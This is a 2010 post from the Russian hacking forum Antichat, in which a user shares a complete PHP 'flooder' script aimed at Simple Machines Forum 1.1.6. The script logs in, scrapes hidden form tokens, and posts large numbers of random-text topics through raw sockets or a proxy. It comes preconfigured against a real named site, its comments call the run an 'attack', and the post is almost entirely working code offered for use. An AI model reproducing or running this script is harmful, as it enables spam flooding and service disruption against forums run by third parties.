ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #7  
Старый 27.04.2010, 21:30
Аватар для Ponchik
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

Уже несколько раз просили, нашёл наконецто
Надеюсь это он

PHP код:
<?php
#SMF 1.1.6 flooder by Ponchik
#forum.antichat.ru
set_time_limit(0);

$debug true#Выводить системные месаги?
$host 'hackhound.org'#Например localhost
$dir '/forum/'#например /forum/ или /
$login 'ololo';
$pass 'qwertyuiop';
$proxy_ip 'hackhound.org'#Или прокся или сайт-жертва
$proxy_port 80;
$sleep_time 15#задержка секунд между запросами
$boards = array('34'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
$count_msg 10#Скоко тем создать, максимальное число 99999999999, тебе хватит :)

function genTheme() { #Гененируем тему, меняйте на чё хотите
    
$g 'eyuioa';
    
$s 'qwrtpsdfghjklzxcvbnm';
    
$len rand(10,40);
    
$theme '';
    for(
$i=rand(0,1);$i<$len;$i++) {
        if(!
rand(0,5)) $theme .= ' ';
        if(
$i%2$theme .= $g[rand(0,strlen($g)-1)];
        else 
$theme .= $s[rand(0,strlen($s)-1)];
    }
    return 
trim($theme);
}

function 
genMessage() { #Гененируем месагу
    
$g 'eyuioa';
    
$s 'qwrtpsdfghjklzxcvbnm';
    
$len rand(100,500);
    
$theme '';
    for(
$i=rand(0,1);$i<$len;$i++) {
        if(!
rand(0,5)) $theme .= ' ';
        if(
$i%2$theme .= $g[rand(0,strlen($g)-1)];
        else 
$theme .= $s[rand(0,strlen($s)-1)];
    }
    return 
trim($theme);
}

###########################Поехали############################
#Да, можно былбы CURL и т.д. но мну так всё нравица

$login urlencode($login);
$pass urlencode($pass);

if(
$debug) echo "Иду на пагу<br>\r\n";

do {
    
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
} while(!
$fp);

$post "user=$login&passwrd=$pass&cookieneverexp=on&hash_passwrd=";

$out "POST http://{$host}{$dir}index.php?action=login2 HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Referer: http://{$host}{$dir}index.php?action=login2\r\n";
$out .= "Proxy-Connection: Close\r\n";
$out .= "Content-Length: ".strlen($post)."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

fwrite($fp$out);
$ans '';
while (!
feof($fp)) {
    
$ans .= fgets($fp128);
}
fclose($fp); file_put_contents('C:\rfgsdfsdf.html',$ans);

preg_match_all("|.*Set-Cookie: (.*)=(.*);.*|U"$ans$out);

$cookies = array();
for(
$i=0;$i<count($out[1]);$i++) { #Да, да, тупо тута получилось, можно бюло переделать регулярку, но мне лень (:
    
$cookies[] = $out[1][$i].'='.$out[2][$i].';';
}
$cookies implode(' ',$cookies)or die('Немогу залогиниться');
if(
$debug) echo "Успешно залогинился<br>\r\n";

do {
    
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
} while(!
$fp);

$out "GET http://{$host}{$dir}index.php HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Cookie: $cookies\r\n";
$out .= "Proxy-Connection: Close\r\n\r\n";

fwrite($fp$out);
$ans '';
while (!
feof($fp)) {
    
$ans .= fgets($fp128);
}
fclose($fp);

if(
$debug) echo "Готовлюсь к атаке :)<br>\r\n";
sleep($sleep_time);
#####################################
for($i=1;$i<=$count_msg;$i++) {
    
shuffle($boards);
    
$board $boards[0];

    if(
$debug) echo "$i/$count_msg) Создаю тему в разделе $board<br>\r\n";

    do {
        
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
    } while(!
$fp);

    
$out "GET http://{$host}{$dir}index.php?action=post;board={$board}.0 HTTP/1.0\r\n";
    
$out .= "Host: $host\r\n";
    
$out .= "Cookie: $cookies\r\n";
    
$out .= "Proxy-Connection: Close\r\n\r\n";

    
fwrite($fp$out);
    
$ans '';
    while (!
feof($fp)) {
        
$ans .= fgets($fp128);
    }
    
fclose($fp);

    
preg_match_all('|.*\<input type\="hidden" name\="(.*)" value\="(.*)" /\>.*|U'$ans$out);
    for(
$i=0;$i<count($out[1]);$i++) {
        if(
$out[1][$i] == 'seqnum') {
            
$seqnum $out[2][$i];
            
$secname $out[1][$i-1];
            
$secval $out[2][$i-1];
        }
    }

    
sleep($sleep_time);

    do {
        
$fp fsockopen($proxy_ip$proxy_port$errno$errstr30);
    } while(!
$fp);
    
$theme urlencode(genTheme());
    
$message urlencode(genMessage());

    
$post "topic=0&subject=$theme&icon=xx&message=$message&notify=0&lock=0&goback=1&attachment%5B%5D=&attachment%5B%5D=&post=%CE%F2%EF%F0%E0%E2%E8%F2%FC&additional_options=0&$secname=$secval&seqnum=$seqnum";

    
$out "POST http://{$host}{$dir}index.php?action=post2;start=0;board={$board} HTTP/1.0\r\n";
    
$out .= "Host: $host\r\n";
    
$out .= "Referer: http://$host/forum/index.php?action=post;board={$board}.0\r\n";
    
$out .= "Cookie: $cookies\r\n";
    
$out .= "Proxy-Connection: Close\r\n";
    
$out .= "Content-Length: ".strlen($post)."\r\n";
    
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

    
fwrite($fp$out);
    
$ans '';
    while (!
feof($fp)) {
        
$ans .= fgets($fp128);
    }
    
fclose($fp);
    
file_put_contents('C:\\'.time().'.html',$out);
    
sleep($sleep_time);
}
?>

Последний раз редактировалось Ponchik; 27.04.2010 в 21:33..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SIP Rings Flooder (Флудер звонками) (НЕ СКАЙП) [вещь] garraud Разное - Покупка, продажа, обмен 16 13.01.2010 10:56
ICQ Flooder cardons ICQ 8 03.07.2006 02:45
Сплоит для SMF 1.1 rc2 DOS Go0o$E Форумы 0 19.03.2006 20:40
Взлом Smf... Как это сделать? FST Чаты 1 28.07.2005 02:27
Уязвимость в Simple machines smf 1.0 beta 5 public Nemirof Форумы 0 23.10.2004 00:47



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ